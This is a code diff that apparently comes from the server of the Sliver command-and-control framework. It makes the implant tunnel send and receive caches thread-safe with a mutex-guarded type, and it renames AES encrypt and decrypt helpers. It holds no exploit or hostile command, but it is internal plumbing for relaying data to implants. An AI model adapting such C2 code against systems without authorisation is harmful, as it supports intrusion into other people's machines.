@@ -34,12 +35,59 @@ var (
tunnelLog = log.NamedLogger("rpc", "tunnel")
// SessionID->Tunnels[TunnelID]->Tunnel->Cache
toImplantCache = map[uint64]map[uint64]*sliverpb.TunnelData{}
toImplantCache = dataCache{mutex: &sync.RWMutex{}, cache: map[uint64]map[uint64]*sliverpb.TunnelData{}}
// SessionID->Tunnels[TunnelID]->Tunnel->Cache
fromImplantCache = map[uint64]map[uint64]*sliverpb.TunnelData{}
fromImplantCache = dataCache{mutex: &sync.RWMutex{}, cache: map[uint64]map[uint64]*sliverpb.TunnelData{}}
)
type dataCache struct {
mutex *sync.RWMutex
cache map[uint64]map[uint64]*sliverpb.TunnelData
}
func (c *dataCache) Add(tunnelID uint64, sequence uint64, tunnelData *sliverpb.TunnelData) {
c.mutex.Lock()
defer c.mutex.Unlock()
if _, ok := c.cache[tunnelID]; !ok {
c.cache[tunnelID] = map[uint64]*sliverpb.TunnelData{}
}
c.cache[tunnelID][sequence] = tunnelData
}
func (c *dataCache) Get(tunnelID uint64, sequence uint64) (*sliverpb.TunnelData, bool) {
c.mutex.RLock()
defer c.mutex.RUnlock()
if _, ok := c.cache[tunnelID]; !ok {
return nil, false
}
val, ok := c.cache[tunnelID][sequence]
return val, ok
}
func (c *dataCache) DeleteTun(tunnelID uint64) {
c.mutex.Lock()
defer c.mutex.Unlock()
delete(c.cache, tunnelID)
}
func (c *dataCache) DeleteSeq(tunnelID uint64, sequence uint64) {
c.mutex.Lock()
defer c.mutex.Unlock()
if _, ok := c.cache[tunnelID]; !ok {
return
}
delete(c.cache[tunnelID], sequence)
}
// CreateTunnel - Create a new tunnel on the server, however based on only this request there's
// no way to associate the tunnel with the correct client, so the client must send
// a zero-byte message over TunnelData to bind itself to the newly created tunnel.
@@ -52,8 +100,6 @@ func (s *Server) CreateTunnel(ctx context.Context, req *sliverpb.Tunnel) (*slive
if tunnel == nil {
return nil, ErrTunnelInitFailure
}
toImplantCache[tunnel.ID] = map[uint64]*sliverpb.TunnelData{}
fromImplantCache[tunnel.ID] = map[uint64]*sliverpb.TunnelData{}
return &sliverpb.Tunnel{
SessionID: session.ID,
TunnelID: tunnel.ID,
@@ -62,12 +108,10 @@ func (s *Server) CreateTunnel(ctx context.Context, req *sliverpb.Tunnel) (*slive
// CloseTunnel - Client requests we close a tunnel
func (s *Server) CloseTunnel(ctx context.Context, req *sliverpb.Tunnel) (*commonpb.Empty, error) {
err := core.Tunnels.Close(req.TunnelID)
delete(toImplantCache, req.TunnelID)
delete(fromImplantCache, req.TunnelID)
if err != nil {
return nil, err
}
go core.Tunnels.ScheduleClose(req.TunnelID)
toImplantCache.DeleteTun(req.TunnelID)
fromImplantCache.DeleteTun(req.TunnelID)
return &commonpb.Empty{}, nil
}
@@ -100,7 +144,6 @@ func (s *Server) TunnelData(stream rpcpb.SliverRPC_TunnelDataServer) error {
go func() {
sendCache := toImplantCache[tunnel.ID]
for tunnelData := range tunnel.FromImplant {
tunnelLog.Debugf("Tunnel %d: From implant %d byte(s), seq: %d ack: %d",
@@ -110,30 +153,28 @@ func (s *Server) TunnelData(stream rpcpb.SliverRPC_TunnelDataServer) error {
if !tunnelData.Resend {
index := tunnelData.Ack - 1
for sendMsg, ok := sendCache[index]; ok; sendMsg, ok = sendCache[index] {
for sendMsg, ok := toImplantCache.Get(tunnel.ID, index); ok; sendMsg, ok = toImplantCache.Get(tunnel.ID, index) {
tunnelLog.Debugf("Tunnel %d: Removing ack: %d from send cache", tunnel.ID, sendMsg.Sequence)
delete(sendCache, index)
toImplantCache.DeleteSeq(tunnel.ID, index)
index = index - 1
}
recvCache, ok := fromImplantCache[tunnel.ID]
if ok {
recvCache[tunnelData.Sequence] = tunnelData
}
for recv, ok := recvCache[tunnel.FromImplantSequence]; ok; recv, ok = recvCache[tunnel.FromImplantSequence] {
fromImplantCache.Add(tunnel.ID, tunnelData.Sequence, tunnelData)
for recv, ok := fromImplantCache.Get(tunnel.ID, tunnel.FromImplantSequence); ok; recv, ok = fromImplantCache.Get(tunnel.ID, tunnel.FromImplantSequence) {
tunnel.Client.Send(&sliverpb.TunnelData{
TunnelID: tunnel.ID,
SessionID: tunnel.SessionID,
Data: recv.Data,
Closed: false,
})
delete(recvCache, tunnel.FromImplantSequence)
fromImplantCache.DeleteSeq(tunnel.ID, tunnel.FromImplantSequence)
tunnel.FromImplantSequence++
}
} else {
origtunnelData, ok := sendCache[tunnelData.Ack]
origtunnelData, ok := toImplantCache.Get(tunnel.ID, tunnelData.Ack)
if ok {
tunnelLog.Debugf("Tunnel %d: Resending cached msg: %d", tunnel.ID, tunnelData.Ack)
session := core.Sessions.Get(tunnel.SessionID)
@@ -163,7 +204,6 @@ func (s *Server) TunnelData(stream rpcpb.SliverRPC_TunnelDataServer) error {
go func() {
session := core.Sessions.Get(tunnel.SessionID)
sendCache := toImplantCache[tunnel.ID]
for data := range tunnel.ToImplant {
tunnelLog.Debugf("Tunnel %d: To implant %d byte(s), seq: %d", tunnel.ID, len(data), tunnel.ToImplantSequence)
tunnelData := sliverpb.TunnelData{
@@ -174,7 +214,7 @@ func (s *Server) TunnelData(stream rpcpb.SliverRPC_TunnelDataServer) error {
Closed: false,
}
// Add tunnel data to cache
sendCache[tunnelData.Sequence] = &tunnelData
toImplantCache.Add(tunnel.ID, tunnelData.Sequence, &tunnelData)
data, _ := proto.Marshal(&tunnelData)
tunnel.ToImplantSequence++
+4 -4
View File
@@ -26,8 +26,8 @@ import (
"io"
)
//Encrypt the results
func Encrypt(data []byte, key []byte, iv []byte) []byte {
// PreludeEncrypt the results
func PreludeEncrypt(data []byte, key []byte, iv []byte) []byte {
plainText, err := pad(data, aes.BlockSize)
if err != nil {
return make([]byte, 0)
@@ -47,8 +47,8 @@ func Encrypt(data []byte, key []byte, iv []byte) []byte {
return cipherText
}
//Decrypt a command
func Decrypt(data []byte, key []byte) []byte {
// PreludeDecrypt a command
func PreludeDecrypt(data []byte, key []byte) []byte {
block, err := aes.NewCipher(key)
if err != nil {
return nil